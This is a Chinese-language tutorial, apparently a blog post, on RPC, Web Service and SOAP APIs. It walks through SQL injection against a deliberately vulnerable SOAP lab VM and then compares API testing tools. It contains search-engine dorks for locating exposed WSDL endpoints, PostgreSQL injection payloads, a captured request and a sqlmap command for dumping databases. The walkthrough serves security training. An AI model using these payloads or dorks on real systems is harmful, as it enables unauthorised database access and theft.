一、API 接口介绍
1.1 RPC(远程过程调用)
远程过程调用(英语:Remote Procedure Call,缩写为 RPC)是一个计算机通信协议。该协议允许运行于一台计算机的程序调用另一台计算机的子程序,而程序员无需额外地为这个交互作用编程。如果涉及的软件采用面向对象编程,那么远程过程调用亦可称作远程调用或远程方法调用,例:Java RMI。
RPC 一般直接使用 TCP 协议进行通信,通常不涉及到 HTTP。HTTP 下面有 2 种技术:
- XML-RPC(https://zh.wikipedia.org/wiki/XML-RPC)
- JSON-RPC(https://zh.wikipedia.org/wiki/JSON-RPC)
Web service 和 RESTful API 都可算作远程过程调用的子集。
1.2 Web Service
- Web Service 是一种服务导向架构的技术,通过标准的 Web 协议提供服务,目的是保证不同平台的应用服务可以互操作。
- 根据 W3C 的定义,Web 服务(Web service)应当是一个软件系统,用以支持网络间不同机器的互动操作。网络服务通常是许多应用程序接口(API)所组成的,它们透过网络,例如国际互联网(Internet)的远程服务器端,执行客户所提交服务的请求。
- 尽管 W3C 的定义涵盖诸多相异且无法介分的系统,不过通常我们指有关于主从式架构(Client-server)之间根据 SOAP 协议进行传递 XML 格式消息。无论定义还是实现,Web 服务过程中会由服务器提供一个机器可读的描述(通常基于 WSDL)以辨识服务器所提供的 Web 服务。另外,虽然 WSDL 不是 SOAP 服务端点的必要条件,但目前基于 Java 的主流 Web 服务开发框架往往需要 WSDL 实现客户端的源代码生成。一些工业标准化组织,比如 WS-I,就在 Web 服务定义中强制包含 SOAP 和 WSDL。
- Web Service 是一种比较“重”和“老”的 Web 接口技术,目前大部分应用于金融机构的历史应用和比较老的应用中。
1.3 SOAP
- SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration) 之一, soap 用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, uddi 用来管理,分发,查询 webService 。具体实现可以搜索 Web Services 简单实例 ; SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。它还支持从消息系统到远程过程调用(RPC)等大量的应用程序。
- SOAP 使用基于 XML 的数据结构和超文本传输协议 (HTTP) 的组合定义了一个标准的方法来使用 Internet 上各种不同操作环境中的分布式对象。
soap 协议又分为 soap 1.1 和 soap 1.2 两个版本 - 这两个协议间的区别在于 soap 1.1 里存在 soapAction 请求头,而 soap 1.2 没有,soap 1.2 里用了 action 来代替,两者的 wsdl 文件也不同,体现在命名空间和定义 service 差别里。
二、SOAP 注入
1、SOAP 注入查找
- 通常而言通过搜索特定后缀去找 webservice 地址,比如通过在 fofa、shodan 等搜索 asmx
- asmx 是 webservice 服务程序的后缀名,asp.net 使用 asmx 来进行对 webservice 的支持,通过 fofa 上搜索找目标
- 或者可以使用 google 语法搜索,inurl:asmx?wsdl,inurl:.php?wsdl inurl:.ashx?wsdl 通过去查找 webservice 的服务描述的 xml 文档来找寻可能的注入点
2、wsdl 分析
- wsdl 内的信息过于繁杂,可以借助辅助工具来对 wsdl 进行分析,常用的有 soapui,WS-Attacker 或者用 burp 的 wsdler 模块,都可以分析 wsdl 来得到结果
3、靶机搭建
- 靶机下载地址:https://www.vulnhub.com/entry/csharp-vulnsoap,135
- wget http://volatileminds.net/CsharpVulnSoap.ova
- 也可以使用以上命令直接下载
- 下载后使用 VMware 或者 virtualbox 打开,网络最好选择桥接网络
docker pull jeffzh3ng/fuxi
docker run -itd --name fuxi_docker -p 5000:50020 jeffzh3ng/fuxi:latest
Bash复制
- 访问 http://ip:5000 ,即可访问 fuxi
- fuxi api 接口文档说明:https://github.com/jeffzh3ng/fuxi/blob/v2.1/docs/fuxi_api_doc_chinese.md
4、漏洞分析
- 首先访问靶机
- 一般存在注入的地方发生在数据查询处
- 查看 4 个功能点功能 :AddUser 为添加用户,list 为列举用户,getuser 为获取用户,delete 为删除用户
- 这里存在漏洞处为获取用户信息处
- 点击 GetUser->Message Layout 查看它的消息布局
- 发现 username 处为 string 此处传入为字符串,可能存在注入
- 通过查看它的 wsdl 去分析
- 查看此处的 GetUser 元素,此处元素为内部创建的子元素,这里子元素名称为 username,
- 类型为 string
- 往下看,查找它的 operation, 也就是它的操作活动
- 找到 GetUserHttpGetIn 这个可以看作是 Get User Http Get In 为获取用户的输入
以此为突破口进行测试 - 这个靶场的数据库为 PostgreSQL 数据库,那么要用 PostgreSQL 注入来做
点击 Test Form 输入 payload 进行测试 - 输入 aaa‘ or 1=1–
再输入 aaa’ or 1=2–
- 可以说明此处存在注入,可以进一步使用联合查询来获取用户名密码,或者抓包使用 sqlmap 进行测试。
- 按照示例把 get 请求转换为 post
- 保存到文件并给参数标注*
POST /Vulnerable.asmx/GetUser HTTP/1.1
Host: 192.168.10.70
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.70/Vulnerable.asmx?page=op&tab=test&op=GetUser&bnd=VulnerableServiceSoap&ext=testform&username=admin%E2%80%99+union+select+aaa%2Caaa--
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=473D11DF9D40456C68995931
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
page=op&tab=test&op=GetUser&bnd=VulnerableServiceSoap&ext=testform&username=aaa*
- 使用 sqlmap 进行测试
sqlmap -r 222 --dbs --is-dba --dbms=PostgreSQL
三、api 接口测试工具
- 市面上常见的 API 请求构建工具形式有独立的桌面程序、命令行程序、浏览器扩展、Web 服务等几种,比较著名的 API 请求构建工具有 Postman、Swagger Inspecter、Soap UI、Apigee 等等。
- 国内有一些公司也通过 Web 服务的方式提供 API 测试功能,例如网易数帆的 GoAPI,还有像 curl 这样免费的不需要图形界面也可以直接进行 HTTP API 测试的工具。
1、soapui 使用
- soapui 官网:https://www.soapui.org/
- soapUI 是一个开源测试工具,通过 soap/http 来检查、调用、实现 Web Service 的功能 / 负载 / 符合性测试。该工具既可作为一个单独的测试软件使用,也可利用插件集成到 Eclipse,maven2.X,Netbeans 和 intellij 中使用。把一个或多个测试套件(TestSuite)组织成项目,每个测试套件包含一个或多个测试用例(TestCase),每个测试用例包含一个或多个测试步骤,包括发送请求、接受响应、分析结果、改变测试执行流程等。
下载文件后加执行权限,执行后可打开安装向导
安装完成后点击 finish 即可打开 soapui
点击 file,选择 new SOAP project, 填入地址
然后就可以对 wsdl 地址进行解析
修改传入数值点击运行也可以进行测试,为 api 测试常用工具之一
点击 file,选择 new REST project, 填入 fixi 地址 http://ip//api/v1/token
- 单击 ok 后添加 api 所对应的参数 username 和 password, 然后点击绿色三角即可对 fuxi api 进行测试
2、burp 的 wsdler 插件
- 抓取访问 wsdl 的数据包,然后右键,选择 Extensions->wsdler->parse wsdl
得到分析结果,这里可以结合 sqlmap 使用,把抓到的包保存为 txt 文件,然后 sqlmap 去测试
3、hoppscotch
- 之前有很多 API 请求构建工具都是商业软件,或者免费版仅仅提供很有限的功能。其中曾经最流行的 Postman 在收费之后就很被开发者社区诟病。有位印度裔小哥 Liyas Thomas 对此极为不爽,就发布了一个新的工具叫:Postwoman,显而易见,Postwoman 是专怼 Postman 的。
- 2020 年 8 月,Liyas 小哥可能觉得一直怼 Postman 也挺 low 的,2020 年 8 月决定改名叫 hoppscotch 了。
3.1 hoppscotch 安装
yum -y install docker
docker run --rm --name hoppscotch -p 3000:3000 hoppscotch/hoppscotch:latest
- 会开始自动 pull 镜像并开始启动,过程非常慢
访问 http://ip:3000 ,打开 hoppscotch
添加 fixi 的 /api/v1/token 接口,添加相应的参数和值便可得到结果
4、postman
- Postman 是一个接口测试工具 , 在做接口测试的时候 ,Postman 相当于一个客户端 , 它可以模拟用户发起的各类 HTTP 请求 , 将请求数据发送至服务端 , 获取对应的响应结果, 从而验证响应中的结果数据是否和预期值相匹配 ; 并确保开发人员能够及时处理接口中的 bug, 进而保证产品上线之后的稳定性和安全性。
- 它主要是用来模拟各种 HTTP 请求的 (如 :get/post/delete/put.. 等等 ),Postman 与浏览器的区别在于有的浏览器不能输出 Json 格式 , 而 Postman 更直观接口返回的结果。
4.1 postman 安装
tar -xzvf postman-9.15.2-linux-x64.tar.gz
cd Postman
./Postman
单击 Create Collection->add a request 创建一个测试任务
添加 fixi 的 http://ip//api/v1/token 接口,添加相应的参数和值点击 send 便可得到结果
5、工具总结
- SoapUI 相对 Postman 多了一个 Soap 协议测试。
- SoapUI 的功能复杂,界面使用多窗口方式实现,交互复杂,学习成本高,对于使用人员有较高要求。
- SoapUI 的 API 测试,自动测试需要更强的编程技能。
- Postman 脱胎于 Chorme 的插件,只支持 Http 协议的测试。
- Postman 的界面采用 Tab 形式,类似 chrome 的操作方式,界面简单,功能设计简洁,工程的组织只有 Collection 和 folder ,层级,概念简洁,易学,易用,对于项目组的学习成本低。
- Postman 的 API 测试,自动测试对于编程的要求相对低一些
- 如果只是进行 Http,https 接口测试建议使用 Postman 作为 API 测试工具,最主要的理由是,简洁易用,学习成本低。
- hoppscotch 功能跟 postman 功能相似,优点是开源免费、轻量级、页面美观,基于浏览器,不需安装,使用方便。
暂无评论内容